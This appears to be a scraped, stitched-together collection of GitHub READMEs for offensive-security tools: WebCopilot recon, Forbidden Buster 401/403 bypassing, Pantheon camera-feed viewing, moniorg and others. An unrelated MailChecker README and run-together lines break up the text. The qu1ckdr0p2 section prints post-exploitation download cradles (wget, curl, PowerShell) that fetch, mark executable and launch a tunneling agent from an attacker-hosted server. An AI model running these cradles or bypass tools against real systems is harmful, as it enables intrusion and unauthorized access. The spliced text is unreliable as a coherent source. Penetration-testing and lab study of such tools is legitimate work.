git clone https://github.com/h4r5h1t/webcopilot && cd webcopilot/ && chmod +x webcopilot install.sh && mv webcopilot /usr/bin/ && ./install.shSubFinder • Sublist3r • Findomain • gf • OpenRedireX • dnsx • sqlmap • gobuster • assetfinder • httpx • kxss • qsreplace • Nuclei • dalfox • anew • jq • aquatone • urldedupe • Amass • gauplus • waybackurls • crlfuzz
To run the tool on a target, just use the following command.
g!2m0:~ webcopilot -d bugcrowd.comThe -o command can be used to specify an output dir.
g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowdThe -s command can be used for only subdomain enumerations (Active + Passive and also get title & screenshots).
g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd -s The -t command can be used to add thrads to your scan for faster result.
g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd -t 333 The -b command can be used for blind xss (OOB), you can get your server from xsshunter or interact
g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd -t 333 -b testServer.xssThe -x command can be used to exclude out of scope domains.
g!2m0:~ echo out.bugcrowd.com > excludeDomain.txt
g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd -t 333 -x excludeDomain.txt -b testServer.xssDefault options looks like this:
g!2m0:~ webcopilot -d bugcrowd.com - bugcrowd ──────▄▀▄─────▄▀▄
─────▄█░░▀▀▀▀▀░░█▄
─▄▄──█░░░░░░░░░░░█──▄▄
█▄▄█─█░░▀░░┬░░▀░░█─█▄▄█
██╗░░░░░░░██╗███████╗██████╗░░█████╗░ █████╗░██████╗░██╗██╗░░░░░░█████╗░████████╗
░██║░░██╗░░██║██╔════╝██╔══██╗██╔══██╗██╔══██╗██╔══██╗██║██║░░░░░██╔══██╗╚══██╔══╝
░╚██╗████╗██╔╝█ ███╗░░██████╦╝██║░░╚═╝██║░░██║██████╔╝██║██║░░░░░██║░░██║░░░██║░░░
░░████╔═████║░██╔══╝░░██╔══██╗██║░░██╗██║░░██║██╔═══╝░██║██║░░░░░██║░░██║░░ ██║░░░
░░╚██╔╝░╚██╔╝░███████╗██████╦╝╚█████╔╝╚█████╔╝██║░░░░░██║███████╗╚█████╔╝░░░██║░░░
░░░╚═╝░░░╚═╝░░╚══════╝╚═════╝░░╚════╝░░╚════╝░╚═╝░░░ ░╚═╝╚══════╝░╚════╝░░░░╚═╝░░░
[●] @h4r5h1t.hrs | G!2m0
[❌] Warning: Use with caution. You are responsible for your own actions.
[❌] Developers assume no liability and are not responsible for any misuse or damage cause by this tool.
Target: bugcrowd.com
Output: /home/gizmo/targets/bugcrowd
Threads: 100
Server: False
Exclude: False
Mode: Running all Enumeration
Time: 30-08-2021 15:10:00
[!] Please wait while scanning...
[●] Subdoamin Scanning is in progress: Scanning subdomains of bugcrowd.com
[●] Subdoamin Scanned - [assetfinder✔] Subdomain Found: 34
[●] Subdoamin Scanned - [sublist3r✔] Subdomain Found: 29
[●] Subdoamin Scanned - [subfinder✔] Subdomain Found: 54
[●] Subdoamin Scanned - [amass✔] Subdomain Found: 43
[●] Subdoamin Scanned - [findomain✔] Subdomain Found: 27
[●] Active Subdoamin Scanning is in progress:
[!] Please be patient. This may take a while...
[●] Active Subdoamin Scanned - [gobuster✔] Subdomain Found: 11
[●] Active Subdoamin Scanned - [amass✔] Subdomain Found: 0
[●] Subdomain Scanning: Filtering out of scope subdomains
[●] Subdomain Scanning: Filtering Alive subdomains
[●] Subdomain Scanning: Getting titles of valid subdomains
[●] Visual inspection of Subdoamins is completed. Check: /subdomains/aquatone/
[●] Scanning Completed for Subdomains of bugcrowd.com Total: 43 | Alive: 30
[●] Endpoints Scanning Completed for Subdomains of bugcrowd.com Total: 11032
[●] Vulnerabilities Scanning is in progress: Getting all vulnerabilities of bugcrowd.com
[●] Vulnerabilities Scanned - [XSS✔] Found: 0
[●] Vulnerabilities Scanned - [SQLi✔] Found: 0
[●] Vulnerabilities Scanned - [LFI✔] Found: 0
[●] Vulnerabilities Scanned - [CRLF✔] Found: 0
[●] Vulnerabilities Scanned - [SSRF✔] Found: 0
[●] Vulnerabilities Scanned - [Sensitive Data✔] Found: 0
[●] Vulnerabilities Scanned - [Open redirect✔] Found: 0
[●] Vulnerabilities Scanned - [Subdomain Takeover✔] Found: 0
[●] Vulnerabilities Scanned - [Nuclie✔] Found: 0
[●] Vulnerabilities Scanning Completed for Subdomains of bugcrowd.com Check: /vulnerabilities/
▒█▀▀█ █▀▀ █▀▀ █░░█ █░░ ▀▀█▀▀
▒█▄▄▀ █▀▀ ▀▀█ █░░█ █░░ ░░█░░
▒█░▒█ ▀▀▀ ▀▀▀ ░▀▀▀ ▀▀▀ ░░▀░░
[+] Subdomains of bugcrowd.com
[+] Subdomains Found: 0
[+] Subdomains Alive: 0
[+] Endpoints: 11032
[+] XSS: 0
[+] SQLi: 0
[+] Open Redirect: 0
[+] SSRF: 0
[+] CRLF: 0
[+] LFI: 0
[+] Sensitive Data: 0
[+] Subdomain Takeover: 0
[+] Nuclei: 0WebCopilot is inspired from Garud & Pinaak by ROX4R.
@aboul3la @tomnomnom @lc @hahwul @projectdiscovery @maurosoria @shelld3v @devanshbatham @michenriksen @defparam @projectdiscovery @bp0lr @ameenmaali @sqlmapproject @dwisiswant0 @OWASP @OJ @Findomain @danielmiessler @1ndianl33t @ROX4R
| Warning: Developers assume no liability and are not responsible for any misuse or damage cause by this tool. So, please se with caution because you are responsible for your own actions. |
PhantomCrawler allows users to simulate website interactions through different proxy IP addresses. It leverages Python, requests, and BeautifulSoup to offer a simple and effective way to test website behaviour under varied proxy configurations.
Features:
Usage:
proxies.txt in this format 50.168.163.176:80
How to Use:
git clone https://github.com/spyboy-productions/PhantomCrawler.git
pip3 install -r requirements.txt
python3 PhantomCrawler.py
Disclaimer: PhantomCrawler is intended for educational and testing purposes only. Users are cautioned against any misuse, including potential DDoS activities. Always ensure compliance with the terms of service of websites being tested and adhere to ethical standards.
Pantheon is a GUI application that allows users to display information regarding network cameras in various countries as well as an integrated live-feed for non-protected cameras.
Pantheon allows users to execute an API crawler. There was original functionality without the use of any API's (like Insecam), but Google TOS kept getting in the way of the original scraping mechanism.
git clone https://github.com/josh0xA/Pantheon.gitcd Pantheonpip3 install -r requirements.txtpython3 pantheon.py
chmod +x distros/ubuntu_install.sh./distros/ubuntu_install.shchmod +x distros/debian-kali_install.sh./distros/debian-kali_install.sh(Enter) on a selected IP:Port to establish a Pantheon webview of the camera. (Use this at your own risk)
(Left-click) on a selected IP:Port to view the geolocation of the camera.
(Right-click) on a selected IP:Port to view the HTTP data of the camera (Ctrl+Left-click for Mac).
Adjust the map as you please to see the markers.
The developer of this program, Josh Schiavone, is not resposible for misuse of this data gathering tool. Pantheon simply provides information that can be indexed by any modern search engine. Do not try to establish unauthorized access to live feeds that are password protected - that is illegal. Furthermore, if you do choose to use Pantheon to view a live-feed, do so at your own risk. Pantheon was developed for educational purposes only. For further information, please visit: https://joshschiavone.com/panth_info/panth_ethical_notice.html
MIT License
Copyright (c) Josh Schiavone
Forbidden Buster is a tool designed to automate various techniques in order to bypass HTTP 401 and 403 response codes and gain access to unauthorized areas in the system. This code is made for security enthusiasts and professionals only. Use it at your own risk.
Install requirements
pip3 install -r requirements.txtRun the script
python3 forbidden_buster.py -u http://example.comForbidden Buster accepts the following arguments:
-h, --help show this help message and exit
-u URL, --url URL Full path to be used
-m METHOD, --method METHOD
Method to be used. Default is GET
-H HEADER, --header HEADER
Add a custom header
-d DATA, --data DATA Add data to requset body. JSON is supported with escaping
-p PROXY, --proxy PROXY
Use Proxy
--rate-limit RATE_LIMIT
Rate limit (calls per second)
--include-unicode Include Unicode fuzzing (stressful)
--include-user-agent Include User-Agent fuzzing (stressful)Example Usage:
python3 forbidden_buster.py --url "http://example.com/secret" --method POST --header "Authorization: Bearer XXX" --data '{\"key\":\"value\"}' --proxy "http://proxy.example.com" --rate-limit 5 --include-unicode --include-user-agentA cutting-edge utility designed exclusively for web security aficionados, penetration testers, and system administrators. WebSecProbe is your advanced toolkit for conducting intricate web security assessments with precision and depth. This robust tool streamlines the intricate process of scrutinizing web servers and applications, allowing you to delve into the technical nuances of web security and fortify your digital assets effectively.
WebSecProbe is designed to perform a series of HTTP requests to a target URL with various payloads in order to test for potential security vulnerabilities or misconfigurations. Here's a brief overview of what the code does:
Does This Tool Bypass 403 ?
It doesn't directly attempt to bypass a 403 Forbidden status code. The code's purpose is more about testing the behavior of the server when different requests are made, including requests with various payloads, headers, and URL variations. While some of the payloads and headers in the code might be used in certain scenarios to test for potential security misconfigurations or weaknesses, it doesn't guarantee that it will bypass a 403 Forbidden status code.
In summary, this code is a tool for exploring and analyzing a web server's responses to different requests, but whether or not it can bypass a 403 Forbidden status code depends on the specific configuration and security measures implemented by the target server.
pip install WebSecProbe
WebSecProbe <URL> <Path>
Example:
WebSecProbe https://example.com admin-login
from WebSecProbe.main import WebSecProbe
if __name__ == "__main__":
url = 'https://example.com' # Replace with your target URL
path = 'admin-login' # Replace with your desired path
probe = WebSecProbe(url, path)
probe.run()
Rapidly host payloads and post-exploitation bins over HTTP or HTTPS.
Designed to be used on exams like OSCP / PNPT or CTFs HTB / etc.
Pull requests and issues welcome. As are any contributions.
Qu1ckdr0p2 comes with an alias and search feature. The tools are located in the qu1ckdr0p2-tools repository. By default it will generate a self-signed certificate to use when using the --https option, priority is also given to the tun0 interface when the webserver is running, otherwise it will use eth0.
The common.ini defines the mapped aliases used within the --search and -u options.
When the webserver is running there are several download cradles printed to the screen to copy and paste.
pip3 install qu1ckdr0p2
echo "alias serv='~/.local/bin/serv'" >> ~/.zshrc
source ~/.zshrc
or
echo "alias serv='~/.local/bin/serv'" >> ~/.bashrc
source ~/.bashrc
serv init --update
$ serv serve -f implant.bin --https 443$ serv serve -f file.example --http 8080$ serv --help
Usage: serv [OPTIONS] COMMAND [ARGS]...
Welcome to qu1ckdr0p2 entry point.
Options:
--debug Enable debug mode.
--help Show this message and exit.
Commands:
init Perform updates.
serve Serve files.$ serv serve --help
Usage: serv serve [OPTIONS]
Serve files.
Options:
-l, --list List aliases
-s, --search TEXT Search query for aliases
-u, --use INTEGER Use an alias by a dynamic number
-f, --file FILE Serve a file
--http INTEGER Use HTTP with a custom port
--https INTEGER Use HTTPS with a custom port
-h, --help Show this message and exit.$ serv init --help
Usage: serv init [OPTIONS]
Perform updates.
Options:
--update Check and download missing tools.
--update-self Update the tool using pip.
--update-self-test Used for dev testing, installs unstable build.
--help Show this message and exit.$ serv init --update$ serv init --update-selfThe mapped alias numbers for the -u option are dynamic so you don't have to remember specific numbers or ever type out a tool name.
$ serv serve --search ligolo
[→] Path: ~/.qu1ckdr0p2/windows/agent.exe
[→] Alias: ligolo_agent_win
[→] Use: 1
[→] Path: ~/.qu1ckdr0p2/windows/proxy.exe
[→] Alias: ligolo_proxy_win
[→] Use: 2
[→] Path: ~/.qu1ckdr0p2/linux/agent
[→] Alias: ligolo_agent_linux
[→] Use: 3
[→] Path: ~/.qu1ckdr0p2/linux/proxy
[→] Alias: ligolo_proxy_linux
[→] Use: 4
(...)$ serv serve --search ligolo -u 3 --http 80
[→] Serving: ../../.qu1ckdr0p2/linux/agent
[→] Protocol: http
[→] IP address: 192.168.1.5
[→] Port: 80
[→] Interface: eth0
[→] CTRL+C to quit
[→] URL: http://192.168.1.5:80/agent
[↓] csharp:
$webclient = New-Object System.Net.WebClient; $webclient.DownloadFile('http://192.168.1.5:80/agent', 'c:\windows\temp\agent'); Start-Process 'c:\windows\temp\agent'
[↓] wget:
wget http://192.168.1.5:80/agent -O /tmp/agent && chmod +x /tmp/agent && /tmp/agent
[↓] curl:
curl http://192.168.1.5:80/agent -o /tmp/agent && chmod +x /tmp/agent && /tmp/agent
[↓] powershell:
Invoke-WebRequest -Uri http://192.168.1.5:80/agent -OutFile c:\windows\temp\agent; Start-Process c:\windows\temp\agent
⠧ Web server running
MIT
Cross-language email validation. Backed by a database of over 55 000 throwable email domains.
FILTER_VALIDATE_EMAIL for PHP)This will be very helpful when you have to contact your users and you want to avoid errors causing lack of communication or want to block "spamboxes".
Need to provide Webhooks inside your SaaS?
Need to embed a charts into an email?
It's over with Image-Charts, no more server-side rendering pain, 1 url = 1 chart.
https://image-charts.com/chart?
cht=lc // chart type
&chd=s:cEAELFJHHHKUju9uuXUc // chart data
&chxt=x,y // axis
&chxl=0:|0|1|2|3|4|5| // axis labels
&chs=873x200 // size
Mailchecker public API has been normalized, here are the changes:
MailChecker(email) -> MailChecker.isValid(email)
MailChecker($email) -> MailChecker::isValid($email)
import MailChecker
m = MailChecker.MailChecker()
if not m.is_valid('bla@example.com'):
# ...became:
import MailChecker
if not MailChecker.is_valid('bla@example.com'):
# ...MailChecker currently supports:
var MailChecker = require('mailchecker');
if(!MailChecker.isValid('myemail@yopmail.com')){
console.error('O RLY !');
process.exit(1);
}
if(!MailChecker.isValid('myemail.com')){
console.error('O RLY !');
process.exit(1);
}<script type="text/javascript" src="MailChecker/platform/javascript/MailChecker.js"></script>
<script type="text/javascript">
if(!MailChecker.isValid('myemail@yopmail.com')){
console.error('O RLY !');
}
if(!MailChecker.isValid('myemail.com')){
console.error('O RLY !');
}
</script>include __DIR__."/MailChecker/platform/php/MailChecker.php";
if(!MailChecker::isValid('myemail@yopmail.com')){
die('O RLY !');
}
if(!MailChecker::isValid('myemail.com')){
die('O RLY !');
}pip install mailchecker
# no package yet; just drop in MailChecker.py where you want to use it.
from MailChecker import MailChecker
if not MailChecker.is_valid('bla@example.com'):
print "O RLY !"Django validator: https://github.com/jonashaag/django-indisposable
require 'mail_checker'
unless MailChecker.valid?('myemail@yopmail.com')
fail('O RLY!')
end extern crate mailchecker;
assert_eq!(true, mailchecker::is_valid("plop@plop.com"));
assert_eq!(false, mailchecker::is_valid("\nok@gmail.com\n"));
assert_eq!(false, mailchecker::is_valid("ok@guerrillamailblock.com"));Code.require_file("mail_checker.ex", "mailchecker/platform/elixir/")
unless MailChecker.valid?("myemail@yopmail.com") do
raise "O RLY !"
end
unless MailChecker.valid?("myemail.com") do
raise "O RLY !"
end; no package yet; just drop in mailchecker.clj where you want to use it.
(load-file "platform/clojure/mailchecker.clj")
(if (not (mailchecker/valid? "myemail@yopmail.com"))
(throw (Throwable. "O RLY!")))
(if (not (mailchecker/valid? "myemail.com"))
(throw (Throwable. "O RLY!")))package main
import (
"log"
"github.com/FGRibreau/mailchecker/platform/go"
)
if !mail_checker.IsValid('myemail@yopmail.com') {
log.Fatal('O RLY !');
}
if !mail_checker.IsValid('myemail.com') {
log.Fatal("O RLY !")
}Go
go get https://github.com/FGRibreau/mailcheckerNodeJS/JavaScript
npm install mailcheckerRuby
gem install ruby-mailcheckerPHP
composer require fgribreau/mailcheckerWe accept pull-requests for other package manager.
$('td', 'table:last').map(function(){
return this.innerText;
}).toArray(); Array.prototype.slice.call(document.querySelectorAll('.entry > ul > li a')).map(function(el){return el.innerText});... please add your own dataset to list.txt.
Just run (requires NodeJS):
npm run build
Development environment requires docker.
# install and setup every language dependencies in parallel through docker
npm install
# run every language setup in parallel through docker
npm run setup
# run every language tests in parallel through docker
npm testThese amazing people are maintaining this project:
These amazing people have contributed code to this project:
Discover how you can contribute by heading on over to the CONTRIBUTING.md file.
Web Path Finder is a Python program that provides information about a website. It retrieves various details such as page title, last updated date, DNS information, subdomains, firewall names, technologies used, certificate information, and more.
Clone the repository:
git clone https://github.com/HalilDeniz/PathFinder.git
Install the required packages:
pip install -r requirements.txt
This will install all the required modules and their respective versions.
Run the program using the following command:
┌──(root💀denizhalil)-[~/MyProjects/]
└─# python3 web-info-explorer.py --help
usage: wpathFinder.py [-h] url
Web Information Program
positional arguments:
url Enter the site URL
options:
-h, --help show this help message and exitReplace <url> with the URL of the website you want to explore.
Here is an example output of running the program:
┌──(root💀denizhalil)-[~/MyProjects/]
└─# python3 pathFinder.py https://www.facebook.com/
Site Information:
Title: Facebook - Login or Register
Last Updated Date: None
First Creation Date: 1997-03-29 05:00:00
Dns Information: []
Sub Branches: ['157']
Firewall Names: []
Technologies Used: javascript, php, css, html, react
Certificate Information:
Certificate Issuer: US
Certificate Start Date: 2023-02-07 00:00:00
Certificate Expiration Date: 2023-05-08 23:59:59
Certificate Validity Period (Days): 90
Bypassed JavaScript content:
Contributions are welcome! To contribute to PathFinder, follow these steps:
This project is licensed under the MIT License - see the LICENSE file for details.
For any inquiries or further information, you can reach me through the following channels:
By looking through CT logs an attacker can gather a lot of information about organization's infrastructure i.e. internal domains,email addresses in a completly passive manner.
moniorg leverage certificate transparency logs to monitor for newly issued domains based on organization field in their SSL certificate .
git clone https://github.com/yousseflahouifi/moniorg.git
pip install os sys termcolor difflib json argparse
usage: moniorg.py [-h] [-a ADD] [-g GET] [-l] [-m MONITOR] [-v] orgname
| Short form | Long form | Description |
|---|---|---|
| -h | --help | Show help message and exit |
| -a | --add | Add organization name to be monitored |
| -m | --monitor | Monitor and see newly added domains |
| -g | --get | Get a list of domains based on orgname that you are monitoring |
| -l | --list | List organization names you are monitoring |
| -v | --vps | Running moniorg in vps mode and send slack notification whenever a new domain is found (this option should be used along with -m) |
Adding an organization name to the monitoring list :
python3 moniorg.py -a "VK LLC"
,--
,--,--,--. ,---. ,--,--, `--' ,---. ,--.--. ,---.
| || .-. || \,--.| .-. || .--'| .-. |
| | | |' '-' '| || || |' '-' '| | ' '-' '
`--`--`--' `---' `--''--'`--' `---' `--' .`- /
`---'
By Youssef Lahouifi
To see the domains gathered :
python3 moniorg.py -g "VK LLC"
,--
,--,--,--. ,---. ,--,--, `--' ,---. ,--.--. ,---.
| || .-. || \,--.| .-. || .--'| .-. |
| | | |' '-' '| || || |' '-' '| | ' '-' '
`--`--`--' `---' `--''--'`--' `---' `--' .`- /
`---'
By Youssef Lahouifi
[+] below is the list of domains of the company ...
gmrk.mail.ru
relap.org
relap.ru
test.mail.ru
To see if new domain is added :
python3 moniorg.py -m "VK LLC"
,--
,--,--,--. ,---. ,--,--, `--' ,---. ,--.--. ,---.
| || .-. || \,--.| .-. || .--'| .-. |
| | | |' '-' '| || || |' '-' '| | ' '-' '
`--`--`--' `---' `--''--'`--' `---' `--' .`- /
`---'
By Youssef Lahouifi
Got Nothing !
moniorg depends on crt.sh website to find new domains and sometimes crt.sh looks like is timing out when the list of domain is huge . You just have to retry .
Discovering domains like never before
Subdomain enumeration is cool , How about domain enumeration ? Part I
Subdomain enumeration is cool , How about domain enumeration ? Part II
If you have a feedback or issue feel free to open it in the issues section .
A modular web reconnaissance tool and vulnerability scanner based on Karton (https://github.com/CERT-Polska/karton).
The Artemis project has been initiated by the KN Cyber science club of Warsaw University of Technology and is currently being maintained by CERT Polska.
Artemis is experimental software, under active development - use at your own risk.
For an up-to-date list of features, please refer to the documentation.
To run the tests, use:
./scripts/test
Artemis uses pre-commit to run linters and format the code. pre-commit is executed on CI to verify that the code is formatted properly.
To run it locally, use:
pre-commit run --all-files
To setup pre-commit so that it runs before each commit, use:
pre-commit install
To build the documentation, use:
cd docs
python3 -m venv venv
. venv/bin/activate
pip install -r requirements.txt
make html
Please refer to the documentation.
Contributions are welcome! We will appreciate both ideas for new Artemis modules (added as GitHub issues) as well as pull requests with new modules or code improvements.
However obvious it may seem we kindly remind you that by contributing to Artemis you agree that the BSD 3-Clause License shall apply to your input automatically, without the need for any additional declarations to be made.
